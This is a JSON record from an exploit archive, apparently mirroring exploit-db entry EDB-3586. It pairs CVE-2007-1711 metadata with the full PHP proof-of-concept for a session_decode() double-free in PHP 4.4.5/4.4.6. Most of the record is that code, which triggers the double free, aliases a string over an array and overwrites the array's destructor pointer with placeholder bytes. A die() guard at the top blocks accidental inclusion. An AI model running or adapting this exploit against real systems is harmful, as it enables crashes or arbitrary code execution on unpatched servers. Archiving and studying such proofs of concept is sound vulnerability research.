{"exploit":{"id":"EDB-3586","name":"PHP 4.4.5/4.4.6 - 'session_decode()' Double-Free (PoC)","description":"PHP 4.4.5/4.4.6 - 'session_decode()' Double-Free (PoC)","cves":["CVE-2007-1711"],"author":"Stefan Esser","published":"2007-03-27","platform":"linux","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3586","path":"exploits/linux/dos/3586.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3586.php","vulnerabilities":[{"id":"CVE-2007-1711","state":"PUBLISHED","title":null,"titleSource":null,"description":"Double free vulnerability in the unserializer in PHP 4.4.5 and 4.4.6 allows context-dependent attackers to execute arbitrary code by overwriting variables pointing to (1) the GLOBALS array or (2) the session data in _SESSION. NOTE: this issue was introduced when attempting to patch CVE-2007-1701 (MOPB-31-2007).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1711","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1711"},"updatedAt":"2024-08-07T13:06:25.850Z","retrievedAt":"2026-11-26T20:09:46.727Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3586.png?v=2","url":"https://exploitbin.com/exploits/EDB-3586","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3586/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3586/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n  ////////////////////////////////////////////////////////////////////////\n  //  _  _                _                     _       ___  _  _  ___  //\n  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \\| || || _ \\ //\n  // | __ |/ _` || '_|/ _` |/ -_)| ' \\ / -_)/ _` ||___||  _/| __ ||  _/ //\n  // |_||_|\\__,_||_|  \\__,_|\\___||_||_|\\___|\\__,_|     |_|  |_||_||_|   //\n  //                                                                    //\n  //         Proof of concept code from the Hardened-PHP Project        //\n  //                   (C) Copyright 2007 Stefan Esser                  //\n  //                                                                    //\n  ////////////////////////////////////////////////////////////////////////\n  //     PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability     //\n  ////////////////////////////////////////////////////////////////////////\n\n  // This is meant as a protection against remote file inclusion.\n  die(\"REMOVE THIS LINE\");\n\n  ini_set(\"session.serialize_handler\", \"php\");\n  session_start();\n\n  $varname = str_repeat(\"D\", 39);\n  $$varname = &$_SESSION;\n\n  // Trigger the double free\n\n  session_decode($varname.'|i:0;');\n  $_________________x = \"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ\";\n  $_________________a = array(\"OneElement\");\n\n  // Now x and a point to the same memory. Therefore x can be used to modify a\n\n  // Overwrite pointer to the destructor\n  $_________________x[8*4+0] = chr(0x55);\n  $_________________x[8*4+1] = chr(0x66);\n  $_________________x[8*4+2] = chr(0x77);\n  $_________________x[8*4+3] = chr(0x88);\n\n  // Trigger the destruction\n  unset($_________________a);\n?>\n\n# milw0rm.com [2007-03-27]","sha256":"c6ec8bd23d81ee18c0f75a78e2f220df3ef9aef5b096da58e9191639a7ed4b42","bytes":1687,"fetchedAt":"2026-11-26T20:09:41.028Z","encoding":"utf-8 (display only; download retains original bytes)"}